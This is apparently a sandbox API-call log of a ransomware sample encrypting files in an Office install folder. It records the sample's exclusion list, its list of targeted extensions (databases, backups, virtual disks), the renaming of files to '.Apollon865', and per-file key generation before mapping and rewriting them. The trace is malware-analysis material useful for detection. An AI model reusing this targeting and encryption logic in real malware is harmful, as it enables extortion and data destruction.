	[0070.554] lstrcmpiW (lpString1="xsd", lpString2="dbb") returned 1
	[0070.554] lstrlenW (lpString="vmdk") returned 4
	[0070.554] lstrcmpiW (lpString1=".xsd", lpString2="vmdk") returned -1
	[0070.554] lstrlenW (lpString="rar") returned 3
	[0070.554] lstrcmpiW (lpString1="xsd", lpString2="rar") returned 1
	[0070.554] lstrlenW (lpString="zip") returned 3
	[0070.554] lstrcmpiW (lpString1="xsd", lpString2="zip") returned -1
	[0070.554] lstrlenW (lpString="tgz") returned 3
	[0070.554] lstrcmpiW (lpString1="xsd", lpString2="tgz") returned 1
	[0070.554] lstrlenW (lpString="vbox") returned 4
	[0070.554] lstrcmpiW (lpString1=".xsd", lpString2="vbox") returned -1
	[0070.554] lstrlenW (lpString="vdi") returned 3
	[0070.554] lstrcmpiW (lpString1="xsd", lpString2="vdi") returned 1
	[0070.554] lstrlenW (lpString="vhd") returned 3
	[0070.554] lstrcmpiW (lpString1="xsd", lpString2="vhd") returned 1
	[0070.554] lstrlenW (lpString="vhdx") returned 4
	[0070.554] lstrcmpiW (lpString1=".xsd", lpString2="vhdx") returned -1
	[0070.554] lstrlenW (lpString="avhd") returned 4
	[0070.554] lstrcmpiW (lpString1=".xsd", lpString2="avhd") returned -1
	[0070.554] lstrlenW (lpString="db") returned 2
	[0070.554] lstrcmpiW (lpString1="sd", lpString2="db") returned 1
	[0070.554] lstrlenW (lpString="db2") returned 3
	[0070.554] lstrcmpiW (lpString1="xsd", lpString2="db2") returned 1
	[0070.554] lstrlenW (lpString="db3") returned 3
	[0070.554] lstrcmpiW (lpString1="xsd", lpString2="db3") returned 1
	[0070.554] lstrlenW (lpString="dbf") returned 3
	[0070.554] lstrcmpiW (lpString1="xsd", lpString2="dbf") returned 1
	[0070.554] lstrlenW (lpString="mdf") returned 3
	[0070.554] lstrcmpiW (lpString1="xsd", lpString2="mdf") returned 1
	[0070.555] lstrlenW (lpString="mdb") returned 3
	[0070.555] lstrcmpiW (lpString1="xsd", lpString2="mdb") returned 1
	[0070.555] lstrlenW (lpString="sql") returned 3
	[0070.555] lstrcmpiW (lpString1="xsd", lpString2="sql") returned 1
	[0070.555] lstrlenW (lpString="sqlite") returned 6
	[0070.555] lstrcmpiW (lpString1="ma.xsd", lpString2="sqlite") returned -1
	[0070.555] lstrlenW (lpString="sqlite3") returned 7
	[0070.555] lstrcmpiW (lpString1="ema.xsd", lpString2="sqlite3") returned -1
	[0070.555] lstrlenW (lpString="sqlitedb") returned 8
	[0070.555] lstrcmpiW (lpString1="hema.xsd", lpString2="sqlitedb") returned -1
	[0070.555] lstrlenW (lpString="xml") returned 3
	[0070.555] lstrcmpiW (lpString1="xsd", lpString2="xml") returned 1
	[0070.555] lstrlenW (lpString="$er") returned 3
	[0070.555] lstrcmpiW (lpString1="xsd", lpString2="$er") returned 1
	[0070.555] lstrlenW (lpString="4dd") returned 3
	[0070.555] lstrcmpiW (lpString1="xsd", lpString2="4dd") returned 1
	[0070.555] lstrlenW (lpString="4dl") returned 3
	[0070.555] lstrcmpiW (lpString1="xsd", lpString2="4dl") returned 1
	[0070.555] lstrlenW (lpString="^^^") returned 3
	[0070.555] lstrcmpiW (lpString1="xsd", lpString2="^^^") returned 1
	[0070.555] lstrlenW (lpString="abs") returned 3
	[0070.555] lstrcmpiW (lpString1="xsd", lpString2="abs") returned 1
	[0070.555] lstrlenW (lpString="abx") returned 3
	[0070.555] lstrcmpiW (lpString1="xsd", lpString2="abx") returned 1
	[0070.555] lstrlenW (lpString="accdb") returned 5
	[0070.555] lstrcmpiW (lpString1="a.xsd", lpString2="accdb") returned -1
	[0070.555] lstrlenW (lpString="accdc") returned 5
	[0070.555] lstrcmpiW (lpString1="a.xsd", lpString2="accdc") returned -1
	[0070.555] lstrlenW (lpString="accde") returned 5
	[0070.555] lstrcmpiW (lpString1="a.xsd", lpString2="accde") returned -1
	[0070.555] lstrlenW (lpString="accdr") returned 5
	[0070.555] lstrcmpiW (lpString1="a.xsd", lpString2="accdr") returned -1
	[0070.555] lstrlenW (lpString="accdt") returned 5
	[0070.555] lstrcmpiW (lpString1="a.xsd", lpString2="accdt") returned -1
	[0070.555] lstrlenW (lpString="accdw") returned 5
	[0070.555] lstrcmpiW (lpString1="a.xsd", lpString2="accdw") returned -1
	[0070.555] lstrlenW (lpString="accft") returned 5
	[0070.555] lstrcmpiW (lpString1="a.xsd", lpString2="accft") returned -1
	[0070.556] lstrlenW (lpString="adb") returned 3
	[0070.556] lstrcmpiW (lpString1="xsd", lpString2="adb") returned 1
	[0070.556] lstrlenW (lpString="adb") returned 3
	[0070.556] lstrcmpiW (lpString1="xsd", lpString2="adb") returned 1
	[0070.556] lstrlenW (lpString="ade") returned 3
	[0070.556] lstrcmpiW (lpString1="xsd", lpString2="ade") returned 1
	[0070.556] lstrlenW (lpString="adf") returned 3
	[0070.556] lstrcmpiW (lpString1="xsd", lpString2="adf") returned 1
	[0070.556] lstrlenW (lpString="adn") returned 3
	[0070.556] lstrcmpiW (lpString1="xsd", lpString2="adn") returned 1
	[0070.556] lstrlenW (lpString="adp") returned 3
	[0070.556] lstrcmpiW (lpString1="xsd", lpString2="adp") returned 1
	[0070.556] lstrlenW (lpString="alf") returned 3
	[0070.556] lstrcmpiW (lpString1="xsd", lpString2="alf") returned 1
	[0070.556] lstrlenW (lpString="ask") returned 3
	[0070.556] lstrcmpiW (lpString1="xsd", lpString2="ask") returned 1
	[0070.556] lstrlenW (lpString="btr") returned 3
	[0070.556] lstrcmpiW (lpString1="xsd", lpString2="btr") returned 1
	[0070.556] lstrlenW (lpString="cat") returned 3
	[0070.556] lstrcmpiW (lpString1="xsd", lpString2="cat") returned 1
	[0070.556] lstrlenW (lpString="cdb") returned 3
	[0070.556] lstrcmpiW (lpString1="xsd", lpString2="cdb") returned 1
	[0070.556] lstrlenW (lpString="ckp") returned 3
	[0070.556] lstrcmpiW (lpString1="xsd", lpString2="ckp") returned 1
	[0070.556] lstrlenW (lpString="cma") returned 3
	[0070.556] lstrcmpiW (lpString1="xsd", lpString2="cma") returned 1
	[0070.556] lstrlenW (lpString="cpd") returned 3
	[0070.556] lstrcmpiW (lpString1="xsd", lpString2="cpd") returned 1
	[0070.556] lstrlenW (lpString="dacpac") returned 6
	[0070.556] lstrcmpiW (lpString1="ma.xsd", lpString2="dacpac") returned 1
	[0070.556] lstrlenW (lpString="dad") returned 3
	[0070.556] lstrcmpiW (lpString1="xsd", lpString2="dad") returned 1
	[0070.556] lstrlenW (lpString="dadiagrams") returned 10
	[0070.556] lstrcmpiW (lpString1="schema.xsd", lpString2="dadiagrams") returned 1
	[0070.556] lstrlenW (lpString="daschema") returned 8
	[0070.556] lstrcmpiW (lpString1="hema.xsd", lpString2="daschema") returned 1
	[0070.556] lstrlenW (lpString="db-journal") returned 10
	[0070.556] lstrcmpiW (lpString1="schema.xsd", lpString2="db-journal") returned 1
	[0070.557] lstrlenW (lpString="db-shm") returned 6
	[0070.557] lstrcmpiW (lpString1="ma.xsd", lpString2="db-shm") returned 1
	[0070.557] lstrlenW (lpString="db-wal") returned 6
	[0070.557] lstrcmpiW (lpString1="ma.xsd", lpString2="db-wal") returned 1
	[0070.557] lstrlenW (lpString="dbc") returned 3
	[0070.557] lstrcmpiW (lpString1="xsd", lpString2="dbc") returned 1
	[0070.557] lstrlenW (lpString="dbs") returned 3
	[0070.557] lstrcmpiW (lpString1="xsd", lpString2="dbs") returned 1
	[0070.557] lstrlenW (lpString="dbt") returned 3
	[0070.557] lstrcmpiW (lpString1="xsd", lpString2="dbt") returned 1
	[0070.557] lstrlenW (lpString="dbv") returned 3
	[0070.557] lstrcmpiW (lpString1="xsd", lpString2="dbv") returned 1
	[0070.557] lstrlenW (lpString="dbx") returned 3
	[0070.557] lstrcmpiW (lpString1="xsd", lpString2="dbx") returned 1
	[0070.557] lstrlenW (lpString="dcb") returned 3
	[0070.557] lstrcmpiW (lpString1="xsd", lpString2="dcb") returned 1
	[0070.557] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x421d9c50, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x421d9c50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0070.557] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0070.557] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2d4e500, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x69a5d7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc2d4e500, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x14a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Messenger.xml", cAlternateFileName="MESSEN~1.XML")) returned 1
	[0070.557] lstrcmpiW (lpString1="Messenger.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0070.557] lstrcmpiW (lpString1="Messenger.xml", lpString2="Apollon865.txt.exe") returned 1
	[0070.557] lstrcmpiW (lpString1="Messenger.xml", lpString2=".") returned 1
	[0070.558] lstrcmpiW (lpString1="Messenger.xml", lpString2="..") returned 1
	[0070.558] lstrcmpiW (lpString1="Messenger.xml", lpString2="windows") returned -1
	[0070.558] lstrcmpiW (lpString1="Messenger.xml", lpString2="bootmgr") returned 1
	[0070.558] lstrcmpiW (lpString1="Messenger.xml", lpString2="temp") returned -1
	[0070.558] lstrcmpiW (lpString1="Messenger.xml", lpString2="pagefile.sys") returned -1
	[0070.558] lstrcmpiW (lpString1="Messenger.xml", lpString2="boot") returned 1
	[0070.558] lstrcmpiW (lpString1="Messenger.xml", lpString2="ids.txt") returned 1
	[0070.558] lstrcmpiW (lpString1="Messenger.xml", lpString2="ntuser.dat") returned -1
	[0070.558] lstrcmpiW (lpString1="Messenger.xml", lpString2="perflogs") returned -1
	[0070.558] lstrcmpiW (lpString1="Messenger.xml", lpString2="MSBuild") returned -1
	[0070.558] lstrlenW (lpString="Messenger.xml") returned 13
	[0070.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\grvschema.xsd") returned 73
	[0070.558] lstrcpyW (in: lpString1=0x2d3e5c8, lpString2="Messenger.xml" | out: lpString1="Messenger.xml") returned="Messenger.xml"
	[0070.558] lstrlenW (lpString="Messenger.xml") returned 13
	[0070.558] lstrlenW (lpString="Apollon865") returned 10
	[0070.558] lstrcmpiW (lpString1="senger.xml", lpString2="Apollon865") returned 1
	[0070.558] lstrlenW (lpString=".dll") returned 4
	[0070.558] lstrcmpiW (lpString1="Messenger.xml", lpString2=".dll") returned 1
	[0070.558] lstrlenW (lpString=".lnk") returned 4
	[0070.558] lstrcmpiW (lpString1="Messenger.xml", lpString2=".lnk") returned 1
	[0070.558] lstrlenW (lpString=".ini") returned 4
	[0070.558] lstrcmpiW (lpString1="Messenger.xml", lpString2=".ini") returned 1
	[0070.558] lstrlenW (lpString=".sys") returned 4
	[0070.558] lstrcmpiW (lpString1="Messenger.xml", lpString2=".sys") returned 1
	[0070.558] lstrlenW (lpString="Messenger.xml") returned 13
	[0070.558] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\Messenger.xml.Apollon865") returned 84
	[0070.558] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\Messenger.xml" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\xml files\\messenger.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\Messenger.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\xml files\\messenger.xml.apollon865"), dwFlags=0x1) returned 1
	[0070.561] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\Messenger.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\xml files\\messenger.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0070.561] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=330) returned 1
	[0070.561] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0070.561] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a998
	[0070.561] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf4e0
	[0070.561] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf700) returned 1
	[0070.562] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0070.562] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0070.562] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x450, lpName=0x0) returned 0x118
	[0070.568] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x450) returned 0x100000
	[0070.568] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf700) returned 1
	[0070.569] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0070.569] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0070.569] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0070.569] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0070.569] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0070.569] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0070.569] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0070.569] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0070.569] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0070.570] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0070.570] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0070.570] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0070.570] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0070.570] CloseHandle (hObject=0x118) returned 1
	[0070.570] CloseHandle (hObject=0x15c) returned 1
	[0070.570] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a998 | out: hHeap=0x580000) returned 1
	[0070.570] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0070.570] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0070.570] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Space Templates", cAlternateFileName="SPACET~1")) returned 1
	[0070.570] lstrcmpiW (lpString1="Space Templates", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0070.570] lstrcmpiW (lpString1="Space Templates", lpString2="Apollon865.txt.exe") returned 1
	[0070.570] lstrcmpiW (lpString1="Space Templates", lpString2=".") returned 1
	[0070.570] lstrcmpiW (lpString1="Space Templates", lpString2="..") returned 1
	[0070.570] lstrcmpiW (lpString1="Space Templates", lpString2="windows") returned -1
	[0070.570] lstrcmpiW (lpString1="Space Templates", lpString2="bootmgr") returned 1
	[0070.570] lstrcmpiW (lpString1="Space Templates", lpString2="temp") returned -1
	[0070.570] lstrcmpiW (lpString1="Space Templates", lpString2="pagefile.sys") returned 1
	[0070.570] lstrcmpiW (lpString1="Space Templates", lpString2="boot") returned 1
	[0070.570] lstrcmpiW (lpString1="Space Templates", lpString2="ids.txt") returned 1
	[0070.570] lstrcmpiW (lpString1="Space Templates", lpString2="ntuser.dat") returned 1
	[0070.570] lstrcmpiW (lpString1="Space Templates", lpString2="perflogs") returned 1
	[0070.570] lstrcmpiW (lpString1="Space Templates", lpString2="MSBuild") returned 1
	[0070.570] lstrlenW (lpString="Space Templates") returned 15
	[0070.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\Messenger.xml") returned 73
	[0070.571] lstrcpyW (in: lpString1=0x2d3e5c8, lpString2="Space Templates" | out: lpString1="Space Templates") returned="Space Templates"
	[0070.571] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fde8
	[0070.571] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x98) returned 0x5a3168
	[0070.571] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fdf0 | out: ListHead=0x5b76b0, ListEntry=0x59fdf0) returned 0x59fdd0
	[0070.571] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a42b900, ftCreationTime.dwHighDateTime=0x1c9d747, ftLastAccessTime.dwLowDateTime=0x5abbba30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1a42b900, ftLastWriteTime.dwHighDateTime=0x1c9d747, nFileSizeHigh=0x0, nFileSizeLow=0x17e2d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="StarterApplicationDescriptors.xml", cAlternateFileName="STARTE~1.XML")) returned 1
	[0070.571] lstrcmpiW (lpString1="StarterApplicationDescriptors.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0070.571] lstrcmpiW (lpString1="StarterApplicationDescriptors.xml", lpString2="Apollon865.txt.exe") returned 1
	[0070.571] lstrcmpiW (lpString1="StarterApplicationDescriptors.xml", lpString2=".") returned 1
	[0070.571] lstrcmpiW (lpString1="StarterApplicationDescriptors.xml", lpString2="..") returned 1
	[0070.571] lstrcmpiW (lpString1="StarterApplicationDescriptors.xml", lpString2="windows") returned -1
	[0070.571] lstrcmpiW (lpString1="StarterApplicationDescriptors.xml", lpString2="bootmgr") returned 1
	[0070.571] lstrcmpiW (lpString1="StarterApplicationDescriptors.xml", lpString2="temp") returned -1
	[0070.571] lstrcmpiW (lpString1="StarterApplicationDescriptors.xml", lpString2="pagefile.sys") returned 1
	[0070.571] lstrcmpiW (lpString1="StarterApplicationDescriptors.xml", lpString2="boot") returned 1
	[0070.571] lstrcmpiW (lpString1="StarterApplicationDescriptors.xml", lpString2="ids.txt") returned 1
	[0070.571] lstrcmpiW (lpString1="StarterApplicationDescriptors.xml", lpString2="ntuser.dat") returned 1
	[0070.571] lstrcmpiW (lpString1="StarterApplicationDescriptors.xml", lpString2="perflogs") returned 1
	[0070.571] lstrcmpiW (lpString1="StarterApplicationDescriptors.xml", lpString2="MSBuild") returned 1
	[0070.571] lstrlenW (lpString="StarterApplicationDescriptors.xml") returned 33
	[0070.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\Space Templates") returned 75
	[0070.571] lstrcpyW (in: lpString1=0x2d3e5c8, lpString2="StarterApplicationDescriptors.xml" | out: lpString1="StarterApplicationDescriptors.xml") returned="StarterApplicationDescriptors.xml"
	[0070.571] lstrlenW (lpString="StarterApplicationDescriptors.xml") returned 33
	[0070.571] lstrlenW (lpString="Apollon865") returned 10
	[0070.571] lstrcmpiW (lpString1="iptors.xml", lpString2="Apollon865") returned 1
	[0070.571] lstrlenW (lpString=".dll") returned 4
	[0070.571] lstrcmpiW (lpString1="StarterApplicationDescriptors.xml", lpString2=".dll") returned 1
	[0070.571] lstrlenW (lpString=".lnk") returned 4
	[0070.571] lstrcmpiW (lpString1="StarterApplicationDescriptors.xml", lpString2=".lnk") returned 1
	[0070.571] lstrlenW (lpString=".ini") returned 4
	[0070.571] lstrcmpiW (lpString1="StarterApplicationDescriptors.xml", lpString2=".ini") returned 1
	[0070.571] lstrlenW (lpString=".sys") returned 4
	[0070.571] lstrcmpiW (lpString1="StarterApplicationDescriptors.xml", lpString2=".sys") returned 1
	[0070.572] lstrlenW (lpString="StarterApplicationDescriptors.xml") returned 33
	[0070.572] lstrlenW (lpString="bak") returned 3
	[0070.572] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1
	[0070.572] lstrlenW (lpString="ba_") returned 3
	[0070.572] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1
	[0070.572] lstrlenW (lpString="dbb") returned 3
	[0070.572] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1
	[0070.572] lstrlenW (lpString="vmdk") returned 4
	[0070.572] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1
	[0070.572] lstrlenW (lpString="rar") returned 3
	[0070.572] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1
	[0070.572] lstrlenW (lpString="zip") returned 3
	[0070.572] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1
	[0070.572] lstrlenW (lpString="tgz") returned 3
	[0070.572] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1
	[0070.572] lstrlenW (lpString="vbox") returned 4
	[0070.572] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1
	[0070.572] lstrlenW (lpString="vdi") returned 3
	[0070.572] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1
	[0070.572] lstrlenW (lpString="vhd") returned 3
	[0070.572] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1
	[0070.572] lstrlenW (lpString="vhdx") returned 4
	[0070.572] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1
	[0070.572] lstrlenW (lpString="avhd") returned 4
	[0070.572] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1
	[0070.572] lstrlenW (lpString="db") returned 2
	[0070.572] lstrcmpiW (lpString1="ml", lpString2="db") returned 1
	[0070.572] lstrlenW (lpString="db2") returned 3
	[0070.572] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1
	[0070.572] lstrlenW (lpString="db3") returned 3
	[0070.572] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1
	[0070.572] lstrlenW (lpString="dbf") returned 3
	[0070.572] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1
	[0070.572] lstrlenW (lpString="mdf") returned 3
	[0070.572] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1
	[0070.572] lstrlenW (lpString="mdb") returned 3
	[0070.572] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1
	[0070.572] lstrlenW (lpString="sql") returned 3
	[0070.573] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1
	[0070.573] lstrlenW (lpString="sqlite") returned 6
	[0070.573] lstrcmpiW (lpString1="rs.xml", lpString2="sqlite") returned -1
	[0070.573] lstrlenW (lpString="sqlite3") returned 7
	[0070.573] lstrcmpiW (lpString1="ors.xml", lpString2="sqlite3") returned -1
	[0070.573] lstrlenW (lpString="sqlitedb") returned 8
	[0070.573] lstrcmpiW (lpString1="tors.xml", lpString2="sqlitedb") returned 1
	[0070.573] lstrlenW (lpString="xml") returned 3
	[0070.573] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0
	[0070.573] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\StarterApplicationDescriptors.xml.Apollon865") returned 104
	[0070.573] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\StarterApplicationDescriptors.xml" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\xml files\\starterapplicationdescriptors.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\StarterApplicationDescriptors.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\xml files\\starterapplicationdescriptors.xml.apollon865"), dwFlags=0x1) returned 1
	[0070.574] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\StarterApplicationDescriptors.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\xml files\\starterapplicationdescriptors.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0070.574] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=97837) returned 1
	[0070.574] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0070.575] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a998
	[0070.575] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf4e0
	[0070.575] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf700) returned 1
	[0070.575] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0070.575] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0070.576] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x18130, lpName=0x0) returned 0x118
	[0070.577] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x18130) returned 0x120000
	[0070.583] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf700) returned 1
	[0070.583] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0070.583] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0070.583] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0070.583] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0070.583] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0070.583] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0070.583] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0070.583] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0070.583] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0070.584] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0070.584] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0070.584] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0070.584] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0070.585] CloseHandle (hObject=0x118) returned 1
	[0070.585] CloseHandle (hObject=0x15c) returned 1
	[0070.585] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a998 | out: hHeap=0x580000) returned 1
